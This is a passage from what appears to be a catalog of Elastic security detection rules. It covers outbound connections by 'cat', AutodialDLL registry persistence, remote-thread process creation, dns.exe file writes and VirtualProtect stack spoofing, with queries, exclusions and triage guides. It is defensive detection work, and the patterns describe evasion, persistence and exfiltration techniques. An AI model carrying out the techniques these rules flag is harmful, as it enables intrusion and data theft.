[process where event.action == "exec" and event.type == "start" and process.name == "cat" and 
   process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")]

Stage 2: network

[network where event.action in ("connection_attempted", "disconnect_received") and process.name == "cat" and 
   not (destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch(
     destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29",
     "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24",
     "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10",
     "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10",
     "FF00::/8"
     )
   )]

Indicators

These rows show field, operator, and value matches.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
destination.ipcidr_match10.0.0.0/8, 127.0.0.0/8, 169.254.0.0/16, 172.16.0.0/12, 192.0.0.0/24, 192.0.0.0/29, 192.0.0.8/32, 192.0.0.9/32, 192.0.0.10/32, 192.0.0.170/32, 192.0.0.171/32, 192.0.2.0/24, 192.31.196.0/24, 192.52.193.0/24, 192.168.0.0/16, 192.88.99.0/24, 224.0.0.0/4, 100.64.0.0/10, 192.175.48.0/24, 198.18.0.0/15, 198.51.100.0/24, 203.0.113.0/24, 240.0.0.0/4, ::1, FE80::/10, FF00::/8excludes:destination.ip
destination.ipeq0.0.0.0excludes:destination.ip field:"destination.ip" value:"0.0.0.0"
destination.ipis_null(no value, null check)excludes:destination.ip

Persistence via AutodialDLL Registry Modification

#
Source
github.com/elastic/protections-artifacts

Identifies the modification of the WinSock2 AutoDial registry value to potentially maintain persistence via a malicious DLL that get loaded by any processes invoking the Winsock 2 library (ws2_32.dll).

MITRE ATT&CK Coverage

TacticTechniques
Persistence

Rule Body

[rule]
description = """
Identifies the modification of the WinSock2 AutoDial registry value to potentially maintain persistence via a malicious
DLL that get loaded by any processes invoking the Winsock 2 library (ws2_32.dll).
"""
id = "2ffc3943-8100-4f77-9c8f-e8f9e185604b"
license = "Elastic License v2"
name = "Persistence via AutodialDLL Registry Modification"
os_list = ["windows"]
reference = [
    "https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/",
    "https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies/",
]
version = "1.0.22"

query = '''
registry where registry.data.strings != null and
    registry.path : "HKLM\\SYSTEM\\*ControlSet*\\Services\\WinSock2\\Parameters\\AutodialDLL*" and
    not registry.data.strings : "?:\\Windows\\System32\\rasadhlp.dll"
'''

min_endpoint_version = "7.15.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0

[[threat]]
framework = "MITRE ATT&CK"

[threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1112"
name = "Modify Registry"
reference = "https://attack.mitre.org/techniques/T1112/"


[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[internal]
min_endpoint_version = "7.15.0"

Stages and Predicates

Stage 1: registry

registry where registry.data.strings != null and
    registry.path : "HKLM\\SYSTEM\\*ControlSet*\\Services\\WinSock2\\Parameters\\AutodialDLL*" and
    not registry.data.strings : "?:\\Windows\\System32\\rasadhlp.dll"

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
registry.data.stringsis_not_null
  • (no value, null check)
field:"Details" kind:is_not_null
registry.pathwildcard
  • HKLM\SYSTEM\*ControlSet*\Services\WinSock2\Parameters\AutodialDLL*
field:"TargetObject" kind:wildcard value:"HKLM\SYSTEM\*ControlSet*\Services\WinSock2\Parameters\AutodialDLL*"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
registry.data.stringseq?:\Windows\System32\rasadhlp.dllexcludes:registry.data.strings field:"registry.data.strings" value:"?:\Windows\System32\rasadhlp.dll"

Process Stared via Remote Thread

#
Source
github.com/elastic/protections-artifacts

Identifies the creation of a process with parent call stack not pointing to normal process creation APIs. This may indicate process creation as a result of code injection.

MITRE ATT&CK Coverage

TacticTechniques
Stealth

Rule Body

[rule]
description = """
Identifies the creation of a process with parent call stack not pointing to normal process creation APIs. This may
indicate process creation as a result of code injection.
"""
id = "697151c0-a1bd-498e-9056-6c726ce592b7"
license = "Elastic License v2"
name = "Process Stared via Remote Thread"
os_list = ["windows"]
reference = [
    "https://www.elastic.co/security-labs/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks",
]
version = "1.0.19"

query = '''
process where event.action == "start" and
 _arraysearch(process.parent.thread.Ext.call_stack, $entry,
              $entry.symbol_info: ("?:\\Windows\\System32\\ntdll.dll!ZwCreateThreadEx*",
                                   "?:\\Windows\\System32\\ntdll.dll!NtCreateThreadEx*")) and
 not _arraysearch(process.parent.thread.Ext.call_stack, $entry, $entry.symbol_info: ("*CreateProcess*", "*CreateUserProcess*"))
'''

min_endpoint_version = "8.7.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0

[[actions]]
action = "kill_process"
field = "process.parent.entity_id"
state = 0

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1055"
name = "Process Injection"
reference = "https://attack.mitre.org/techniques/T1055/"


[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[internal]
min_endpoint_version = "8.7.0"

Stages and Predicates

Stage 1: process

process where event.action == "start" and
 _arraysearch(process.parent.thread.Ext.call_stack, $entry,
              $entry.symbol_info: ("?:\\Windows\\System32\\ntdll.dll!ZwCreateThreadEx*",
                                   "?:\\Windows\\System32\\ntdll.dll!NtCreateThreadEx*")) and
 not _arraysearch(process.parent.thread.Ext.call_stack, $entry, $entry.symbol_info: ("*CreateProcess*", "*CreateUserProcess*"))

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
event.actioneq
  • start corpus 388 (elastic 388)
field:"EventType" kind:eq value:"start"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
process.parent.thread.Ext.call_stackarray_any(no value, null check)excludes:process.parent.thread.Ext.call_stack

Suspicious Endpoint Security Parent Process

#
Status
production
Severity
medium
Time window
9m
Author
Elastic
Source
github.com/elastic/detection-rules

A suspicious Endpoint Security parent process was detected. This may indicate a process hollowing or other form of code injection.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

[metadata]
creation_date = "2020/08/24"
integration = ["endpoint", "windows", "system", "m365_defender", "sentinel_one_cloud_funnel"]
maturity = "production"
updated_date = "2026/05/04"

[rule]
author = ["Elastic"]
description = """
A suspicious Endpoint Security parent process was detected. This may indicate a process hollowing or other form of code
injection.
"""
from = "now-9m"
index = [
    "endgame-*",
    "logs-endpoint.events.process-*",
    "logs-m365_defender.event-*",
    "logs-sentinel_one_cloud_funnel.*",
    "logs-system.security*",
    "logs-windows.forwarded*",
    "logs-windows.sysmon_operational-*",
    "winlogbeat-*",
]
language = "eql"
license = "Elastic License v2"
name = "Suspicious Endpoint Security Parent Process"
note = """## Triage and analysis

> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

### Investigating Suspicious Endpoint Security Parent Process

Endpoint security solutions, like Elastic and Microsoft Defender, monitor and protect systems by analyzing process behaviors. Adversaries may exploit these processes through techniques like process hollowing, where malicious code is injected into legitimate processes to evade detection. The detection rule identifies anomalies by flagging unexpected parent processes of security executables, excluding known benign paths and arguments, thus highlighting potential threats.

### Possible investigation steps

- Review the process details for the flagged executable (e.g., esensor.exe or elastic-endpoint.exe) to understand its expected behavior and any recent changes in its configuration or deployment.
- Examine the parent process executable path and name to determine if it is a known legitimate process or potentially malicious. Pay special attention to paths not listed in the known benign paths, such as those outside "?:\\Program Files\\Elastic\\*" or "?:\\Windows\\System32\\*".
- Investigate the command-line arguments used by the parent process to identify any unusual or suspicious patterns that could indicate malicious activity, especially if they do not match the benign arguments like "test", "version", or "status".
- Check the historical activity of the parent process to see if it has been involved in other suspicious activities or if it has a history of spawning security-related processes.
- Correlate the alert with other security events or logs from data sources like Elastic Endgame, Microsoft Defender XDR, or Sysmon to gather additional context and identify any related suspicious activities.
- Assess the risk and impact of the alert by considering the environment, the criticality of the affected systems, and any potential data exposure or operational disruption.

### False positive analysis

- Security tools or scripts that automate tasks may trigger false positives if they launch endpoint security processes with unexpected parent processes. To manage this, identify and document these tools, then add their parent executable paths to the exclusion list.
- System administrators or IT personnel may use command-line tools like PowerShell or cmd.exe for legitimate maintenance tasks. If these tasks frequently trigger alerts, consider adding specific command-line arguments used in these tasks to the exclusion list.
- Software updates or installations might temporarily cause unexpected parent processes for security executables. Monitor these activities and, if they are routine and verified, add the associated parent executable paths to the exclusion list.
- Custom scripts or third-party applications that interact with security processes can also lead to false positives. Review these scripts or applications, and if they are deemed safe, include their parent executable paths in the exclusion list.
- Regularly review and update the exclusion list to ensure it reflects the current environment and operational practices, minimizing the risk of overlooking new legitimate processes.

### Response and remediation

- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity.
- Terminate the suspicious process identified by the alert to stop any ongoing malicious activity and prevent further code execution.
- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized changes or additional malicious files.
- Restore the system from a known good backup if any malicious activity or unauthorized changes are confirmed, ensuring that the backup is clean and uncompromised.
- Update endpoint security solutions and apply any available patches to address vulnerabilities that may have been exploited by the adversary.
- Monitor the network and systems for any signs of re-infection or similar suspicious activities, using enhanced logging and alerting based on the identified threat indicators.
- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems may be affected."""
risk_score = 47
rule_id = "b41a13c6-ba45-4bab-a534-df53d0cfed6a"
severity = "medium"
tags = [
    "Domain: Endpoint",
    "OS: Windows",
    "Use Case: Threat Detection",
    "Tactic: Defense Evasion",
    "Data Source: Elastic Endgame",
    "Data Source: Elastic Defend",
    "Data Source: Windows Security Event Logs",
    "Data Source: Microsoft Defender XDR",
    "Data Source: Sysmon",
    "Data Source: SentinelOne",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"

query = '''
process where host.os.type == "windows" and event.type == "start" and
  process.name : ("esensor.exe", "elastic-endpoint.exe") and
  process.parent.executable != null and
  process.args != null and
  /* add FPs here */
  not process.parent.executable : (
        "?:\\Program Files\\Elastic\\*",
        "?:\\Windows\\System32\\services.exe",
        "?:\\Windows\\System32\\WerFault*.exe",
        "?:\\Windows\\System32\\wermgr.exe",
        "?:\\Windows\\explorer.exe"
  ) and
  not (
    process.parent.executable : (
        "?:\\Windows\\System32\\cmd.exe",
        "?:\\Windows\\System32\\SecurityHealthHost.exe",
        "?:\\Windows\\System32\\SecurityHealth\\*\\SecurityHealthHost.exe",
        "?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
    ) and
    process.args : (
        "test", "version",
        "top", "run",
        "*help", "status",
        "upgrade", "/launch",
        "/enable", "/av"
    )
  )
'''

setup = """## Setup

This rule is designed for data generated by [Elastic Defend](https://www.elastic.co/security/endpoint-security), which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules.

Setup instructions: https://ela.st/install-elastic-defend

### Additional data sources

This rule also supports the following third-party data sources. For setup instructions, refer to the links below:

- [Microsoft Defender XDR](https://ela.st/m365-defender)
- [SentinelOne Cloud Funnel](https://ela.st/sentinel-one-cloud-funnel)
- [Sysmon Event ID 1 - Process Creation](https://ela.st/sysmon-event-1-setup)
- [Windows Process Creation Logs](https://ela.st/audit-process-creation)
"""


[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1036"
name = "Masquerading"
reference = "https://attack.mitre.org/techniques/T1036/"

[[rule.threat.technique.subtechnique]]
id = "T1036.005"
name = "Match Legitimate Resource Name or Location"
reference = "https://attack.mitre.org/techniques/T1036/005/"

[[rule.threat.technique]]
id = "T1055"
name = "Process Injection"
reference = "https://attack.mitre.org/techniques/T1055/"

[[rule.threat.technique.subtechnique]]
id = "T1055.012"
name = "Process Hollowing"
reference = "https://attack.mitre.org/techniques/T1055/012/"

[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

Stages and Predicates

Stage 1: process

process where host.os.type == "windows" and event.type == "start" and
  process.name : ("esensor.exe", "elastic-endpoint.exe") and
  process.parent.executable != null and
  process.args != null and
  not process.parent.executable : (
        "?:\\Program Files\\Elastic\\*",
        "?:\\Windows\\System32\\services.exe",
        "?:\\Windows\\System32\\WerFault*.exe",
        "?:\\Windows\\System32\\wermgr.exe",
        "?:\\Windows\\explorer.exe"
  ) and
  not (
    process.parent.executable : (
        "?:\\Windows\\System32\\cmd.exe",
        "?:\\Windows\\System32\\SecurityHealthHost.exe",
        "?:\\Windows\\System32\\SecurityHealth\\*\\SecurityHealthHost.exe",
        "?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
    ) and
    process.args : (
        "test", "version",
        "top", "run",
        "*help", "status",
        "upgrade", "/launch",
        "/enable", "/av"
    )
  )

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
event.typeeq
  • start corpus 1036 (elastic 1036)
field:"event.type" kind:eq value:"start"
process.argsis_not_null
  • (no value, null check)
field:"process.args" kind:is_not_null
process.namewildcard
  • elastic-endpoint.exe corpus 3 (elastic 3)
  • esensor.exe corpus 2 (elastic 2)
field:"process_basename" kind:wildcard
process.parent.executableis_not_null
  • (no value, null check)
field:"ParentImage" kind:is_not_null

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
process.argswildcardtest, version, top, run, *help, status, upgrade, /launch, /enable, /avexcludes:process.args
process.parent.executablewildcard?:\Windows\System32\cmd.exe, ?:\Windows\System32\SecurityHealthHost.exe, ?:\Windows\System32\SecurityHealth\*\SecurityHealthHost.exe, ?:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeexcludes:process.parent.executable
process.parent.executablewildcard?:\Program Files\Elastic\*, ?:\Windows\System32\services.exe, ?:\Windows\System32\WerFault*.exe, ?:\Windows\System32\wermgr.exe, ?:\Windows\explorer.exeexcludes:process.parent.executable

System Binary Symlink to Suspicious Location

#

Unusual File Operation by dns.exe

#
Status
production
Severity
medium
Time window
9m
Group by
file.path, host.id
Author
Elastic
Source
github.com/elastic/detection-rules

Identifies an unexpected file being modified by dns.exe, the process responsible for Windows DNS Server services, which may indicate activity related to remote code execution or other forms of exploitation.

MITRE ATT&CK Coverage

Rule Body

[metadata]
creation_date = "2020/07/16"
integration = ["endpoint", "windows"]
maturity = "production"
updated_date = "2026/05/04"

[rule]
author = ["Elastic"]
description = """
Identifies an unexpected file being modified by dns.exe, the process responsible for Windows DNS Server services, which
may indicate activity related to remote code execution or other forms of exploitation.
"""
from = "now-9m"
index = ["winlogbeat-*", "logs-endpoint.events.file-*", "logs-windows.sysmon_operational-*", "endgame-*"]
language = "kuery"
license = "Elastic License v2"
name = "Unusual File Operation by dns.exe"
note = """## Triage and analysis

> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

### Investigating Unusual File Operation by dns.exe

The rule flags Windows DNS Server (dns.exe) creating, changing, or deleting files that aren’t typical DNS zone or log files, which signals exploitation for code execution or abuse to stage payloads for lateral movement. After gaining execution in dns.exe via DNS RPC or parsing bugs, attackers often write a malicious EXE into System32 and register a new service, leveraging the trusted service context on a domain controller to persist and pivot.

### Possible investigation steps

- Validate the modified file’s full path, type, and provenance, prioritizing writes in %SystemRoot%\\System32, NETLOGON, or SYSVOL, and confirm signature, hash reputation, and compile timestamp to rapidly classify the artifact.
- Pivot to persistence telemetry around the same timestamp by hunting for new services or scheduled tasks (e.g., SCM 7045, Security 4697, TaskScheduler 106/200) and registry autoruns that reference the file.
- Correlate with DNS service network activity and logs for unusual RPC calls, authenticated connections from non-admin hosts, or spikes in failures/crashes that could indicate exploitation.
- Inspect the service’s runtime state for injection indicators by reviewing recent module loads, unsigned DLLs, suspicious memory sections, and ETW/Sysmon events mapping threads that performed the write.
- If the file is executable or a script or placed in execution-friendly locations, detonate it in a sandbox and scope the blast radius by pivoting on its hash, filename, and path across the fleet.

### False positive analysis

- DNS debug logging configured to write to a file with a non-.log extension (e.g., .txt) causes dns.exe to legitimately create or rotate that file during troubleshooting.
- An administrator exports a zone to a custom-named file with a nonstandard extension (e.g., .txt or .xml), leading dns.exe to create or modify that file as part of routine maintenance.

### Response and remediation

- Isolate the host by removing it from DNS rotation and restricting network access to management-only, then capture and quarantine any files dns.exe created or modified outside %SystemRoot%\\System32\\Dns or with executable extensions.
- Delete or quarantine suspicious artifacts written by dns.exe (e.g., .exe, .dll, .ps1, .js) in %SystemRoot%\\System32, NETLOGON, or SYSVOL, record their hashes, and block them fleetwide via EDR or application control.
- Remove persistence by disabling and deleting any new or altered Windows services, scheduled tasks, or Run/Autorun registry entries that reference the dns.exe-written file path, and restore legitimate service ImagePath values.
- Recover by repairing system files with SFC/DISM, restoring affected directories from known-good backups, and restarting the DNS service, then validate zone integrity, AD replication, and client name-resolution.
- Immediately escalate to incident response if dns.exe wrote an executable or script into NETLOGON or SYSVOL or if a service binary path was changed to point to a newly dropped file, indicating probable domain controller compromise and lateral movement.
- Harden by applying the latest Windows Server DNS patches, enforcing WDAC/AppLocker to block execution from SYSVOL/NETLOGON and restrict dns.exe writes to the DNS and log directories, and enable auditing on service creation and file writes in System32/NETLOGON/SYSVOL.
"""

setup = """## Setup

This rule is designed for data generated by [Elastic Defend](https://www.elastic.co/security/endpoint-security), which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules.

Setup instructions: https://ela.st/install-elastic-defend

### Additional data sources

This rule also supports the following third-party data sources. For setup instructions, refer to the links below:

- [Sysmon Event ID 11 - File Create](https://ela.st/sysmon-event-11-setup)
- [Sysmon Event ID 23 - File Delete](https://ela.st/sysmon-event-23-setup)
"""

references = [
    "https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/",
    "https://msrc-blog.microsoft.com/2020/07/14/july-2020-security-update-cve-2020-1350-vulnerability-in-windows-domain-name-system-dns-server/",
    "https://www.elastic.co/security-labs/detection-rules-for-sigred-vulnerability",
]
risk_score = 47
rule_id = "c7ce36c0-32ff-4f9a-bfc2-dcb242bf99f9"
severity = "medium"
tags = [
    "Domain: Endpoint",
    "OS: Windows",
    "Use Case: Threat Detection",
    "Tactic: Lateral Movement",
    "Data Source: Elastic Endgame",
    "Use Case: Vulnerability",
    "Data Source: Elastic Defend",
    "Data Source: Sysmon",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "new_terms"

query = '''
event.category : "file" and host.os.type : "windows" and
  event.type : ("creation" or "deletion" or "change") and process.name : "dns.exe" and
  not file.extension : ("old" or "temp" or "bak" or "dns" or "arpa" or "log")
'''


[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1210"
name = "Exploitation of Remote Services"
reference = "https://attack.mitre.org/techniques/T1210/"

[rule.threat.tactic]
id = "TA0008"
name = "Lateral Movement"
reference = "https://attack.mitre.org/tactics/TA0008/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1190"
name = "Exploit Public-Facing Application"
reference = "https://attack.mitre.org/techniques/T1190/"

[rule.threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"
[rule.new_terms]
field = "new_terms_fields"
value = ["file.path", "host.id"]
[[rule.new_terms.history_window_start]]
field = "history_window_start"
value = "now-7d"

Stages and Predicates

Stage 1: new_terms

event.category : "file" and host.os.type : "windows" and
  event.type : ("creation" or "deletion" or "change") and process.name : "dns.exe" and
  not file.extension : ("old" or "temp" or "bak" or "dns" or "arpa" or "log")

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
event.categoryeq
  • file corpus 29 (elastic 29)
field:"event.category" kind:eq value:"file"
event.typein
  • change corpus 2 (elastic 2)
  • creation corpus 2 (elastic 2)
  • deletion
field:"event.type" kind:in
process.nameeq
  • dns.exe
field:"process_basename" kind:eq value:"dns.exe"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
file.extensioninarpa, bak, dns, log, old, tempexcludes:file.extension

VirtualProtect API Call from Unusual Stack

#
Source
github.com/elastic/protections-artifacts

Identifies VirtualProtect API calls from unusual Kernelbase functions. This may be the result of a call stack spoofing.

MITRE ATT&CK Coverage

TacticTechniques
Stealth

Rule Body

[rule]
description = "Identifies VirtualProtect API calls from unusual Kernelbase functions. This may be the result of a call stack spoofing."
id = "51e79dda-9a89-4825-93ec-ce560d7d5459"
license = "Elastic License v2"
name = "VirtualProtect API Call from Unusual Stack"
os_list = ["windows"]
version = "1.0.5"

query = '''
api where
 process.Ext.api.name == "VirtualProtect" and
 process.thread.Ext.call_stack_summary like "ntdll.dll|kernelbase.dll*" and

 _arraysearch(process.thread.Ext.call_stack, $entry,
              $entry.symbol_info like ("c:\\windows\\system32\\ndll.dll!NtProtectVirtualMemory*",
                                       "c:\\windows\\system32\\ntdll.dll!ZwProtectVirtualMemory*")) and
 not _arraysearch(process.thread.Ext.call_stack, $entry,
                  $entry.symbol_info : ("*\\kernelbase.dll!VirtualProtect*",
                                        "*\\kernelbase.dll!LoadLibrary*",
                                        "*\\kernelbase.dll+0x*",
                                        "*\\kernelbase.dll!GetThreadTimes*",
                                        "*\\kernelbase.dll!GetProcessHandleCount*",
                                        "c:\\windows\\*\\ntdll.dll!LdrGetProcedureAddressEx*",
                                        "*\\ntdll.dll!LdrAddRefDll*",
                                        "*\\ntdll.dll!LdrShutdownProcess*",
                                        "*\\ntdll.dll!RtlAllocateHeap*",
                                        "*\\ntdll.dll!LdrGetProcedureAddressForCaller*",
                                        "*\\ntdll.dll!RtlAddressInSectionTable*",
                                        "*\\clr.dll!LogHelp_NoGuiOnAssert*",
                                        "c:\\windows\\*\\ntdll.dll!LdrGetDllHandle*",
                                        "c:\\windows\\system32\\ntdll.dll!LdrResolveDelayLoadedAPI*",
                                        "*\\kernelbase.dll!WriteProcessMemory*",
                                        "*\\kernelbase.dll!TlsGetValue*",
                                        "c:\\windows\\*\\ntdll.dll!LdrInitializeThunk*",
                                        "c:\\windows\\system32\\kernelbase.dll!Wow64Transition*",
                                        "c:\\windows\\system32\\ntdll.dll!LdrUnloadDll*",
                                        "c:\\windows\\system32\\ntdll.dll!LdrLoadDll*",
                                        "c:\\windows\\syswow64\\kernelbase.dll*",
                                        "c:\\windows\\system32\\kernelbase.dll!FindNextFileW*")) and
 not process.thread.Ext.call_stack_final_user_module.hash.sha256 in
                                  ("8e423ca1a0e610976f8bb88c0392092d001852295dc8147c365c1c96b2f315a5",
                                   "f323339ad07384935dcfd8357f6b7443d1ed356e55dd2394ac1975e12ae4b28d") and
 not _arraysearch(process.thread.Ext.call_stack, $entry, $entry.callsite_trailing_bytes like "488b442440ff9014140000eb09eb05e9*") and
 not _arraysearch(process.thread.Ext.call_stack, $entry, $entry.protection_provenance like ("Kernel", "Kernel|*")) and
 process.thread.Ext.call_stack_final_user_module.name != "Kernel" and
 not _arraysearch(process.thread.Ext.call_stack_final_user_module.code_signature, $entry,
                  $entry.trusted == true and $entry.subject_name in ("Carbon Black, Inc.", "MUSARUBRA US LLC", "Microsoft Windows Hardware Compatibility Publisher", "Kaspersky Lab JSC",
                                                                     "Microsoft Windows Software Compatibility Publisher", "WithSecure Oyj", "NortonLifeLock Inc.", "Sennheiser electronic SE & Co. KG"))
'''

min_endpoint_version = "8.10.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1055"
name = "Process Injection"
reference = "https://attack.mitre.org/techniques/T1055/"


[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[internal]
min_endpoint_version = "8.10.0"

Stages and Predicates

Stage 1: api

api where
 process.Ext.api.name == "VirtualProtect" and
 process.thread.Ext.call_stack_summary like "ntdll.dll|kernelbase.dll*" and

 _arraysearch(process.thread.Ext.call_stack, $entry,
              $entry.symbol_info like ("c:\\windows\\system32\\ndll.dll!NtProtectVirtualMemory*",
                                       "c:\\windows\\system32\\ntdll.dll!ZwProtectVirtualMemory*")) and
 not _arraysearch(process.thread.Ext.call_stack, $entry,
                  $entry.symbol_info : ("*\\kernelbase.dll!VirtualProtect*",
                                        "*\\kernelbase.dll!LoadLibrary*",
                                        "*\\kernelbase.dll+0x*",
                                        "*\\kernelbase.dll!GetThreadTimes*",
                                        "*\\kernelbase.dll!GetProcessHandleCount*",
                                        "c:\\windows\\*\\ntdll.dll!LdrGetProcedureAddressEx*",
                                        "*\\ntdll.dll!LdrAddRefDll*",
                                        "*\\ntdll.dll!LdrShutdownProcess*",
                                        "*\\ntdll.dll!RtlAllocateHeap*",
                                        "*\\ntdll.dll!LdrGetProcedureAddressForCaller*",
                                        "*\\ntdll.dll!RtlAddressInSectionTable*",
                                        "*\\clr.dll!LogHelp_NoGuiOnAssert*",
                                        "c:\\windows\\*\\ntdll.dll!LdrGetDllHandle*",
                                        "c:\\windows\\system32\\ntdll.dll!LdrResolveDelayLoadedAPI*",
                                        "*\\kernelbase.dll!WriteProcessMemory*",
                                        "*\\kernelbase.dll!TlsGetValue*",
                                        "c:\\windows\\*\\ntdll.dll!LdrInitializeThunk*",
                                        "c:\\windows\\system32\\kernelbase.dll!Wow64Transition*",
                                        "c:\\windows\\system32\\ntdll.dll!LdrUnloadDll*",
                                        "c:\\windows\\system32\\ntdll.dll!LdrLoadDll*",
                                        "c:\\windows\\syswow64\\kernelbase.dll*",
                                        "c:\\windows\\system32\\kernelbase.dll!FindNextFileW*")) and
 not process.thread.Ext.call_stack_final_user_module.hash.sha256 in
                                  ("8e423ca1a0e610976f8bb88c0392092d001852295dc8147c365c1c96b2f315a5",
                                   "f323339ad07384935dcfd8357f6b7443d1ed356e55dd2394ac1975e12ae4b28d") and
 not _arraysearch(process.thread.Ext.call_stack, $entry, $entry.callsite_trailing_bytes like "488b442440ff9014140000eb09eb05e9*") and
 not _arraysearch(process.thread.Ext.call_stack, $entry, $entry.protection_provenance like ("Kernel", "Kernel|*")) and
 process.thread.Ext.call_stack_final_user_module.name != "Kernel" and
 not _arraysearch(process.thread.Ext.call_stack_final_user_module.code_signature, $entry,
                  $entry.trusted == true and $entry.subject_name in ("Carbon Black, Inc.", "MUSARUBRA US LLC", "Microsoft Windows Hardware Compatibility Publisher", "Kaspersky Lab JSC",
                                                                     "Microsoft Windows Software Compatibility Publisher", "WithSecure Oyj", "NortonLifeLock Inc.", "Sennheiser electronic SE & Co. KG"))

Indicators

These rows show field, operator, and value matches.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
process.thread.Ext.call_stack_final_user_module.code_signaturearray_any(no value, null check)excludes:process.thread.Ext.call_stack_final_user_module.code_signature
process.thread.Ext.call_stackarray_any(no value, null check)excludes:process.thread.Ext.call_stack
process.thread.Ext.call_stack_final_user_module.hash.sha256in8e423ca1a0e610976f8bb88c0392092d001852295dc8147c365c1c96b2f315a5, f323339ad07384935dcfd8357f6b7443d1ed356e55dd2394ac1975e12ae4b28dexcludes:process.thread.Ext.call_stack_final_user_module.hash.sha256 field:"process.thread.Ext.call_stack_final_user_module.hash.sha256" value:"8e423ca1a0e610976f8bb88c0392092d001852295dc8147c365c1c96b2f315a5" field:"process.thread.Ext.call_stack_final_user_module.hash.sha256" value:"f323339ad07384935dcfd8357f6b7443d1ed356e55dd2394ac1975e12ae4b28d"

Web Server Potential Command Injection Request

#
Status
production
Severity
low
Time window
11m
Group by
agent.id, source.ip
Author
Elastic
Source
github.com/elastic/detection-rules

This rule detects potential command injection attempts via web server requests by identifying URLs that contain suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby, PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to potential threats early.

MITRE ATT&CK Coverage

Rule Body

[metadata]
creation_date = "2025/11/19"
integration = ["nginx", "apache", "apache_tomcat", "iis", "traefik"]
maturity = "production"
updated_date = "2026/04/10"

[rule]
author = ["Elastic"]
description = """
This rule detects potential command injection attempts via web server requests by identifying URLs that contain
suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web
applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby,
PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to
potential threats early.
"""
from = "now-11m"
interval = "10m"
language = "esql"
license = "Elastic License v2"
name = "Web Server Potential Command Injection Request"
note = """ ## Triage and analysis

> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

### Investigating Web Server Potential Command Injection Request

